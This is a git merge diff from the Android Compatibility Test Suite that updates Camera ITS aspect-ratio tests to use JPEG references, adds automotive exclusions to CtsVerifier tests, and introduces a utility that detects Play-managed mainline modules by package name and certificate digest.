Merge "Camera ITS: Fix its test_multi_camera_alignment failed" am: bdebb06347
am: bd3f279f76

Change-Id: I3d7faea457e2d5dcc721f18a34a0f13db31b4073
diff --git a/apps/CameraITS/pymodules/its/objects.py b/apps/CameraITS/pymodules/its/objects.py
index 1f457f4..3c39205 100644
--- a/apps/CameraITS/pymodules/its/objects.py
+++ b/apps/CameraITS/pymodules/its/objects.py
@@ -12,16 +12,9 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
-import os
-import os.path
-import sys
-import re
-import json
-import tempfile
-import time
-import unittest
-import subprocess
 import math
+import unittest
+
 
 def int_to_rational(i):
     """Function to convert Python integers to Camera2 rationals.
@@ -322,6 +315,23 @@
     return fmt
 
 
+def get_largest_jpeg_format(props, match_ar=None):
+    """Return a capture request and format spec for the largest jpeg size.
+
+    Args:
+        props:    the object returned from its.device.get_camera_properties().
+        match_ar: aspect ratio to match
+
+    Returns:
+        fmt:      an output format specification, for the largest possible jpeg
+        format for this device.
+    """
+    size = get_available_output_sizes("jpeg", props, match_ar_size=match_ar)[0]
+    fmt = {"format": "jpeg", "width": size[0], "height": size[1]}
+
+    return fmt
+
+
 def get_max_digital_zoom(props):
     """Returns the maximum amount of zooming possible by the camera device.
 
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index 4d601e8..de134a7 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -84,7 +84,7 @@
     for ar_string in AR_CHECKED:
         match_ar = [float(x) for x in ar_string.split(":")]
         try:
-            f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
             if f["height"] > height_max:
                 height_max = f["height"]
             if f["width"] > width_max:
@@ -113,8 +113,8 @@
     return ar_scaling
 
 
-def find_yuv_fov_reference(cam, req, props):
-    """Determine the circle coverage of the image in YUV reference image.
+def find_jpeg_fov_reference(cam, req, props):
+    """Determine the circle coverage of the image in JPEG reference image.
 
     Args:
         cam:        camera object
@@ -131,7 +131,7 @@
     for ar in AR_CHECKED:
         match_ar = [float(x) for x in ar.split(":")]
         try:
-            f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+            f = its.objects.get_largest_jpeg_format(props, match_ar=match_ar)
             fmt_dict[f["height"]*f["width"]] = {"fmt": f, "ar": ar}
         except IndexError:
             continue
@@ -143,16 +143,18 @@
     cap = cam.do_capture(req, fmt_dict[ar_max_pixels]["fmt"])
     w = cap["width"]
     h = cap["height"]
+    fmt = cap["format"]
+
     img = its.image.convert_capture_to_rgb_image(cap, props=props)
-    print "Captured %s %dx%d" % ("yuv", w, h)
-    img_name = "%s_%s_w%d_h%d.png" % (NAME, "yuv", w, h)
+    print "Captured %s %dx%d" % (fmt, w, h)
+    img_name = "%s_%s_w%d_h%d.png" % (NAME, fmt, w, h)
     _, _, circle_size = measure_aspect_ratio(img, False, img_name, True)
     fov_percent = calc_circle_image_ratio(circle_size[1], circle_size[0], w, h)
     ref_fov["fmt"] = fmt_dict[ar_max_pixels]["ar"]
     ref_fov["percent"] = fov_percent
     ref_fov["w"] = w
     ref_fov["h"] = h
-    print "Using YUV reference:", ref_fov
+    print "Using JPEG reference:", ref_fov
     return ref_fov
 
 
@@ -237,7 +239,7 @@
         # If raw capture is available, use it as ground truth.
         if raw_avlb:
             # Capture full-frame raw. Use its aspect ratio and circle center
-            # location as ground truth for the other jepg or yuv images.
+            # location as ground truth for the other jpeg or yuv images.
             print "Creating references for fov_coverage from RAW"
             out_surface = {"format": "raw"}
             cap_raw = cam.do_capture(req, out_surface)
@@ -311,9 +313,9 @@
                 ref_fov["h"] = h_raw
                 print "Using RAW reference:", ref_fov
             else:
-                ref_fov = find_yuv_fov_reference(cam, req, props)
+                ref_fov = find_jpeg_fov_reference(cam, req, props)
         else:
-            ref_fov = find_yuv_fov_reference(cam, req, props)
+            ref_fov = find_jpeg_fov_reference(cam, req, props)
 
         # Determine scaling factors for AR calculations
         ar_scaling = aspect_ratio_scale_factors(ref_fov["fmt"], props)
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index dec48ea..238d522 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -2082,7 +2082,7 @@
             </intent-filter>
             <meta-data android:name="test_category" android:value="@string/test_category_notifications" />
             <meta-data android:name="test_excluded_features"
-                       android:value="android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
+                       android:value="android.hardware.type.automotive:android.hardware.type.television:android.software.leanback:android.hardware.type.watch" />
         </activity>
 
         <activity android:name=".notifications.AttentionManagementVerifierActivity"
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index 0cc8db1..9a93fbf 100755
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -4457,9 +4457,9 @@
        Audio Peripheral device with standard MIDI 5-pin, DIN (round) connectors and a standard
        MIDI cable. The cable must be connected to the MIDI input and output plugs on the
        peripheral.
-       \nFor the USB Bluetooth test it is required that you connect a Yamaha MT-BT301 to the
-       correct MIDI plugs on the USB peripheral, the BT301 output jack to the USB interface
-       input jack and BT301 input plug to the USB interface output jack.
+       \nFor the USB Bluetooth test it is required that you connect a Yamaha MD-BT01 to the
+       correct MIDI plugs on the USB peripheral, the BT01 output jack to the USB interface
+       input jack and BT01 input plug to the USB interface output jack.
        \nThe Virtual MIDI test does not require any MIDI interface hardware.
     </string>
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
index 85c2753..f32d79da 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ReportExporter.java
@@ -55,9 +55,9 @@
     private static final String SUITE_NAME_METADATA_KEY = "SuiteName";
     private static final String SUITE_PLAN = "verifier";
     private static final String SUITE_BUILD = "0";
-    private static final long START_MS = System.currentTimeMillis();
-    private static final long END_MS = START_MS;
     private static final String ZIP_EXTENSION = ".zip";
+    private final long START_MS = System.currentTimeMillis();
+    private final long END_MS = START_MS;
     private final Context mContext;
     private final TestListAdapter mAdapter;
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 2a37b5e..7297dbe 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -42,6 +42,7 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.SharedPreferences;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.provider.Settings;
 import android.provider.Settings.Secure;
@@ -128,8 +129,10 @@
             tests.add(new EnableHintsTest());
             tests.add(new ReceiveAppBlockNoticeTest());
             tests.add(new ReceiveAppUnblockNoticeTest());
-            tests.add(new ReceiveChannelBlockNoticeTest());
-            tests.add(new ReceiveGroupBlockNoticeTest());
+            if (!getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+                tests.add(new ReceiveChannelBlockNoticeTest());
+                tests.add(new ReceiveGroupBlockNoticeTest());
+            }
             tests.add(new RequestUnbindTest());
             tests.add(new RequestBindTest());
             tests.add(new MessageBundleTest());
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
index 2c194c1..cedab27 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/sensors/StepSensorPermissionTestActivity.java
@@ -42,8 +42,8 @@
  */
 public class StepSensorPermissionTestActivity extends SensorCtsVerifierTestActivity
         implements SensorEventListener {
-    private static final int STEP_DETECT_DELAY_SECONDS = 2;
-    private static final int STEP_COUNT_DELAY_SECONDS = 10;
+    private static final int STEP_DETECT_DELAY_SECONDS = 30;
+    private static final int STEP_COUNT_DELAY_SECONDS = 30;
     // Additional amount of time to give for receiving either a step detect or
     // count event in case the user hasn't started walking at the time the test
     // starts.
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk b/apps/MainlineModuleDetector/Android.mk
similarity index 67%
rename from hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk
rename to apps/MainlineModuleDetector/Android.mk
index 90f56d6..5b8e316 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.mk
+++ b/apps/MainlineModuleDetector/Android.mk
@@ -1,3 +1,4 @@
+#
 # Copyright (C) 2019 The Android Open Source Project
 #
 # Licensed under the Apache License, Version 2.0 (the "License");
@@ -11,27 +12,23 @@
 # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 # See the License for the specific language governing permissions and
 # limitations under the License.
+#
 
 LOCAL_PATH:= $(call my-dir)
-
 include $(CLEAR_VARS)
 
-# Don't include this package in any target.
 LOCAL_MODULE_TAGS := optional
 
-# When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
+LOCAL_STATIC_JAVA_LIBRARIES := compatibility-device-util-axt
+
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_PACKAGE_NAME := MainlineModuleDetector
 
-LOCAL_PACKAGE_NAME := CtsDevicePolicyContentSuggestionsApp
+LOCAL_SDK_VERSION := current
 
-LOCAL_SDK_VERSION := system_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts sts
 
 include $(BUILD_CTS_PACKAGE)
diff --git a/apps/MainlineModuleDetector/AndroidManifest.xml b/apps/MainlineModuleDetector/AndroidManifest.xml
new file mode 100644
index 0000000..4cc8f8c
--- /dev/null
+++ b/apps/MainlineModuleDetector/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.mainlinemoduledetector"
+          android:versionCode="1"
+          android:versionName="1.0">
+
+    <application>
+        <activity android:name=".MainlineModuleDetector">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+</manifest>
diff --git a/apps/MainlineModuleDetector/OWNERS b/apps/MainlineModuleDetector/OWNERS
new file mode 100644
index 0000000..8f076a8
--- /dev/null
+++ b/apps/MainlineModuleDetector/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 195645
+manjaepark@google.com
+mspector@google.com
\ No newline at end of file
diff --git a/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
new file mode 100644
index 0000000..01c02c7
--- /dev/null
+++ b/apps/MainlineModuleDetector/src/com/android/cts/mainlinemoduledetector/MainlineModuleDetector.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.mainlinemoduledetector;
+
+import android.app.Activity;
+import android.content.pm.PackageManager;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.compatibility.common.util.mainline.MainlineModule;
+import com.android.compatibility.common.util.mainline.ModuleDetector;
+
+import java.util.HashSet;
+import java.util.Set;
+
+public class MainlineModuleDetector extends Activity {
+
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        try {
+            PackageManager pm = getApplicationContext().getPackageManager();
+            Set<MainlineModule> modules = ModuleDetector.getPlayManagedModules(pm);
+            Set<String> moduleNames = new HashSet<>();
+            for (MainlineModule module : modules) {
+                moduleNames.add(module.packageName);
+            }
+            Log.i(LOG_TAG, "Play managed modules are: <" + String.join(",", moduleNames) + ">");
+        } catch (Exception e) {
+            Log.e(LOG_TAG, "Failed to retrieve modules.", e);
+        }
+        this.finish();
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
index 7d7aaf0..37c33ae 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BusinessLogicDeviceExecutor.java
@@ -66,7 +66,7 @@
      */
     @Override
     protected String formatExecutionString(String method, String... args) {
-        return String.format("%s(%s)", method, TextUtils.join(", ", args));
+        return String.format("%s(%s)", method, TextUtils.join(", ", formatArgs(args)));
     }
 
     /**
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
index 3e9e2df..19e1215 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/MediaUtils.java
@@ -314,16 +314,16 @@
             return false;
         }
 
-	if (rate == 0.0) {
+        if (rate == 0.0) {
             return true;
-	}
+        }
 
         // before Q, we always said yes once we found a decoder for the format.
         if (ApiLevelUtil.isBefore(Build.VERSION_CODES.Q)) {
             return true;
-	}
+        }
 
-	// we care about speed of decoding
+        // we care about speed of decoding
         Log.d(TAG, "checking for decoding " + format + " at " +
                    rate + " fps with " + decoder);
 
@@ -353,7 +353,9 @@
             return false;
         }
 
-        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q) && mci.isHardwareAccelerated()) {
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q)
+                && PropertyUtil.isVendorApiLevelAtLeast(Build.VERSION_CODES.Q)
+                && mci.isHardwareAccelerated()) {
             MediaCodecInfo.VideoCapabilities caps =
                             mci.getCapabilitiesForType(mime).getVideoCapabilities();
             List<MediaCodecInfo.VideoCapabilities.PerformancePoint> pp =
@@ -369,7 +371,7 @@
             }
             Log.i(TAG, "NOT covered by any hardware performance point");
             return false;
-	} else {
+        } else {
             String verified = MediaPerfUtils.areAchievableFrameRates(
                               decoder, mime, width, height, rate);
             if (verified == null) {
@@ -378,7 +380,7 @@
             }
             Log.d(TAG, "achieveable framerates says: " + verified);
             return false;
-	}
+        }
     }
 
     public static boolean supports(String codecName, String mime, int w, int h) {
@@ -631,7 +633,7 @@
 
     // checks format, does not address actual speed of decoding
     public static boolean canDecodeVideo(String mime, int width, int height, float rate) {
-	return canDecodeVideo(mime, width, height, rate, (float)0.0);
+        return canDecodeVideo(mime, width, height, rate, (float)0.0);
     }
 
     // format + decode rate
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
index 28d8f0d..728cbc6 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PackageUtil.java
@@ -97,12 +97,18 @@
         }
     }
 
-    /** Returns the version code for the package name, or null if the package can't be found */
+    /**
+     * Returns the version code for the package name, or null if the package can't be found.
+     * If before API Level 28, return a long version of the (otherwise deprecated) versionCode.
+     */
     public static Long getLongVersionCode(String packageName) {
         try {
             PackageInfo info = getPackageManager().getPackageInfo(packageName,
                     PackageManager.GET_META_DATA);
-            return info.getLongVersionCode();
+            // Make no assumptions about the device's API level, and use the (now deprecated)
+            // versionCode for older devices.
+            return (ApiLevelUtil.isAtLeast(28)) ?
+                    info.getLongVersionCode() : (long) info.versionCode;
         } catch (PackageManager.NameNotFoundException | NullPointerException e) {
             Log.w(TAG, "Could not find version string for package " + packageName);
             return null;
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
index b87e88b..fb25dd7 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/PropertyUtil.java
@@ -88,6 +88,20 @@
     }
 
     /**
+     * Return whether the SDK version of the vendor partiton is same or newer than the
+     * given API level.
+     * If the property is set to non-integer value, this means the vendor partition is using
+     * current API level and true is returned.
+     */
+    public static boolean isVendorApiLevelAtLeast(int apiLevel) {
+        int vendorApiLevel = getPropertyInt(VNDK_VERSION);
+        if (vendorApiLevel == INT_VALUE_IF_UNSET) {
+            return true;
+        }
+        return vendorApiLevel >= apiLevel;
+    }
+
+    /**
      * Return the manufacturer of this product. If unset, return null.
      */
     public static String getManufacturer() {
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
new file mode 100644
index 0000000..b34242e
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/MainlineModule.java
@@ -0,0 +1,87 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+/**
+ * Enum containing metadata for mainline modules.
+ */
+public enum MainlineModule {
+    // Security
+    MEDIA_SOFTWARE_CODEC("com.google.android.media.swcodec",
+            true, ModuleType.APEX,
+            "0C:2B:13:87:6D:E5:6A:E6:4E:D1:DE:93:42:2A:8A:3F:EA:6F:34:C0:FC:5D:7D:A1:BD:CF:EF"
+                    + ":C1:A7:B7:C9:1D"),
+    MEDIA("com.google.android.media",
+            true, ModuleType.APEX,
+            "16:C1:5C:FA:15:D0:FD:D0:7E:BE:CB:5A:76:6B:40:8B:05:DD:92:7E:1F:3A:DD:C5:AB:F6:8E"
+                    + ":E8:B9:98:F9:FD"),
+    DNS_RESOLVER("com.google.android.resolv",
+            true, ModuleType.APEX,
+            "EC:82:21:76:5E:4F:7E:2C:6D:8D:0F:0C:E9:BD:82:5B:98:BE:D2:0C:07:2C:C6:C8:08:DD:E4"
+                    + ":68:5F:EB:A6:FF"),
+    CONSCRYPT("com.google.android.conscrypt",
+            true, ModuleType.APEX,
+            "8C:5D:A9:10:E6:11:21:B9:D6:E0:3B:42:D3:20:6A:7D:AD:29:DD:C1:63:AE:CD:4B:8E:E9:3F"
+                    + ":D3:83:79:CA:2A"),
+    // Privacy
+    PERMISSION_CONTROLLER("com.google.android.permissioncontroller",
+            false, ModuleType.APK,
+            "89:DF:B5:04:7E:E0:19:29:C2:18:4D:68:EF:49:64:F2:A9:0A:F1:24:C3:23:38:28:B8:F6:40"
+                    + ":D9:E6:C0:0F:83"),
+    ANDROID_SERVICES("com.google.android.ext.services",
+            false, ModuleType.APK,
+            "18:46:05:09:5B:E6:CA:22:D0:55:F3:4E:FA:F0:13:44:FD:3A:B3:B5:63:8C:30:62:76:10:EE"
+                    + ":AE:8A:26:0B:29"),
+    DOCUMENTS_UI("com.google.android.documentsui",
+            true, ModuleType.APK,
+            "9A:4B:85:34:44:86:EC:F5:1F:F8:05:EB:9D:23:17:97:79:BE:B7:EC:81:91:93:5A:CA:67:F0"
+                    + ":F4:09:02:52:97"),
+    // Consistency
+    TZDATA("com.google.android.tzdata",
+            true, ModuleType.APEX,
+            "55:93:DD:78:CB:26:EC:9B:00:59:2A:6A:F5:94:E4:16:1F:FD:B5:E9:F3:71:A7:43:54:5F:93"
+                    + ":F2:A0:F6:53:89"),
+    NETWORK_STACK("com.google.android.networkstack",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    CAPTIVE_PORTAL_LOGIN("com.google.android.captiveportallogin",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    NETWORK_PERMISSION_CONFIGURATION("com.google.android.networkstack.permissionconfig",
+            true, ModuleType.APK,
+            "5F:A4:22:12:AD:40:3E:22:DD:6E:FE:75:F3:F3:11:84:05:1F:EF:74:4C:0B:05:BE:5C:73:ED"
+                    + ":F6:0B:F6:2C:1E"),
+    MODULE_METADATA("com.google.android.modulemetadata",
+            true, ModuleType.APK,
+            "BF:62:23:1E:28:F0:85:42:75:5C:F3:3C:9D:D8:3C:5D:1D:0F:A3:20:64:50:EF:BC:4C:3F:F3"
+                    + ":D5:FD:A0:33:0F"),
+    ;
+
+    public final String packageName;
+    public final boolean isPlayUpdated;
+    public final ModuleType moduleType;
+    public final String certSHA256;
+
+    MainlineModule(String packageName, boolean isPlayUpdated, ModuleType moduleType,
+            String certSHA256) {
+        this.packageName = packageName;
+        this.isPlayUpdated = isPlayUpdated;
+        this.moduleType = moduleType;
+        this.certSHA256 = certSHA256;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
new file mode 100644
index 0000000..11b467d
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleDetector.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.util.Log;
+
+import java.security.MessageDigest;
+import java.util.EnumSet;
+import java.util.HashSet;
+import java.util.Set;
+
+/**
+ * Detects mainline modules.
+ */
+public class ModuleDetector {
+    private static final String LOG_TAG = "MainlineModuleDetector";
+
+    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+    /**
+     * Return true if a module is play managed.
+     *
+     * Example of skipping a test based on mainline modules:
+     * <pre>
+     *  @Test
+     *  public void testPocCVE_1234_5678() throws Exception {
+     *      if(!ModuleDetector.moduleIsPlayManaged(
+     *          getInstrumentation().getContext().getPackageManager(),
+     *          MainlineModule.MEDIA_SOFTWARE_CODEC)) {
+     *          doStagefrightTest(R.raw.cve_2018_5882);
+     *      }
+     *  }
+     * </pre>
+     */
+    public static boolean moduleIsPlayManaged(PackageManager pm, MainlineModule module)
+            throws Exception {
+        return getPlayManagedModules(pm).contains(module);
+    }
+
+
+    /**
+     * Return all play managed mainline modules.
+     */
+    public static Set<MainlineModule> getPlayManagedModules(PackageManager pm) throws Exception {
+        Set<MainlineModule> playManagedModules = new HashSet<>();
+
+        Set<String> packages = new HashSet<>();
+        for (PackageInfo info : pm.getInstalledPackages(0)) {
+            packages.add(info.packageName);
+        }
+        for (PackageInfo info : pm.getInstalledPackages(PackageManager.MATCH_APEX)) {
+            packages.add(info.packageName);
+        }
+
+        for (MainlineModule module : EnumSet.allOf(MainlineModule.class)) {
+            if (module.isPlayUpdated && packages.contains(module.packageName)
+                    && module.certSHA256.equals(getSignatureDigest(pm, module))) {
+                playManagedModules.add(module);
+            }
+        }
+        return playManagedModules;
+    }
+
+    private static String getSignatureDigest(PackageManager pm, MainlineModule module)
+            throws Exception {
+        int flag = PackageManager.GET_SIGNING_CERTIFICATES;
+        if (module.moduleType == ModuleType.APEX) {
+            flag |= PackageManager.MATCH_APEX;
+        }
+
+        PackageInfo packageInfo = pm.getPackageInfo(module.packageName, flag);
+        MessageDigest messageDigest = MessageDigest.getInstance("SHA256");
+        messageDigest.update(packageInfo.signingInfo.getApkContentsSigners()[0].toByteArray());
+
+        final byte[] digest = messageDigest.digest();
+        final int digestLength = digest.length;
+        final int charCount = 3 * digestLength - 1;
+
+        final char[] chars = new char[charCount];
+        for (int i = 0; i < digestLength; i++) {
+            final int byteHex = digest[i] & 0xFF;
+            chars[i * 3] = HEX_ARRAY[byteHex >>> 4];
+            chars[i * 3 + 1] = HEX_ARRAY[byteHex & 0x0F];
+            if (i < digestLength - 1) {
+                chars[i * 3 + 2] = ':';
+            }
+        }
+
+        String ret = new String(chars);
+        Log.d(LOG_TAG, "Module: " + module.packageName + " has signature: " + ret);
+        return ret;
+    }
+}
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
new file mode 100644
index 0000000..b50d62c
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/mainline/ModuleType.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.compatibility.common.util.mainline;
+
+/**
+ * File type of mainline module.
+ */
+public enum ModuleType {
+    APEX,
+    APK
+}
diff --git a/hostsidetests/apex/Android.bp b/hostsidetests/apex/Android.bp
index 5b1f436..33194a1 100644
--- a/hostsidetests/apex/Android.bp
+++ b/hostsidetests/apex/Android.bp
@@ -15,6 +15,6 @@
 java_test_host {
     name: "CtsApexTestCases",
     srcs: ["src/**/*.java"],
-    test_suites: ["cts", "general-tests"],
+    test_suites: ["cts", "general-tests", "mts"],
     libs: ["cts-tradefed", "tradefed"],
 }
diff --git a/hostsidetests/appsecurity/Android.mk b/hostsidetests/appsecurity/Android.mk
index 392ccb6..40c0c7e 100644
--- a/hostsidetests/appsecurity/Android.mk
+++ b/hostsidetests/appsecurity/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.appsecurity
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests mts
 
 LOCAL_REQUIRED_MODULES := \
 	CtsCorruptApkTests_b71360999 \
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
index 9e90c0d..d9da67a 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/Android.bp
@@ -34,6 +34,7 @@
         "cts",
         "vts",
         "general-tests",
+        "mts",
     ],
     certificate: ":cts-testkey2",
     optimize: {
diff --git a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
index 21462ff..31fac48 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentClient/src/com/android/cts/documentclient/DocumentsClientTestCase.java
@@ -154,7 +154,8 @@
     protected boolean supportedHardware() {
         final PackageManager pm = getInstrumentation().getContext().getPackageManager();
         if (pm.hasSystemFeature("android.hardware.type.television")
-                || pm.hasSystemFeature("android.hardware.type.watch")) {
+                || pm.hasSystemFeature("android.hardware.type.watch")
+                || pm.hasSystemFeature("android.hardware.type.automotive")) {
             return false;
